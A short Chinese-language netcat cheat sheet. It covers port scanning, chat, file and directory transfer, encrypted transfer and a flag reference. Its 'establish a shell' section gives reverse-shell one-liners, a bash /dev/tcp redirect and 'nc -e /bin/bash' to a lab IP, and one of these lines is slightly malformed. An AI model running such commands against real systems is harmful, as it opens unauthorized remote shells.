1.端口掃描
z參數告訴nc使用0 輸入/輸出模式,一般在掃描通信端口的時候使用
v參數顯示指令執行過程
n參數告訴nc不使用DNS反向查詢ip地址的域名
2.做為通信使用
server: nc -l 5555
client: nc 192.168.21.133 5555
l參數使用監聽模式,管控傳入的資料
3.文件傳輸
server: nc -l 5555< aa.txt
client: nc -n 192.168.21.133 >aa.txt
同樣也可以互換,傳輸文件
server:nc -l 5555 > aa.txt
client: nc 192.168.21.133 5555 <aa.txt
4.目錄傳輸
文件可以發送,但是目錄也同樣可以傳輸,利用管道傳輸起來。
server: tar -czvf- faith/ |nc -l 5555
client: nc -n 192.168.21.133 5555 | tar -zxvf -
5.加密傳輸
server: nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
client: mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
6.建立shell
server:nc -lvp 5555 bash -i >& /dev/tcp/192.168.21.136/5555 0 >&1
client: nc -lvp 5555
還有一種:
server:nc -e /bin/bash 192.168.21.136 5555
client: nc -lvp 5555
7.nc其他參數
參 數:
-g<網關> 設置路由器躍程通信網關,最多可設置8個。
-G<指向器數目> 設置來源路由指向器,其數值為4的倍數。
-h 在線幫助。
-i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口。
-l 使用監聽模式,管控傳入的資料。
-n 直接使用IP地址,而不通過域名服務器。
-o<輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。
-p<通信端口> 設置本地主機使用的通信端口。
-r 亂數指定本地與遠端主機的通信端口。
-s<來源地址> 設置本地主機送出數據包的IP地址。
-u 使用UDP傳輸協議。
-v 顯示指令執行過程。
-w<超時秒數> 設置等待連線的時間。
-z 使用0輸入/輸出模式,只在掃描通信端口時使用。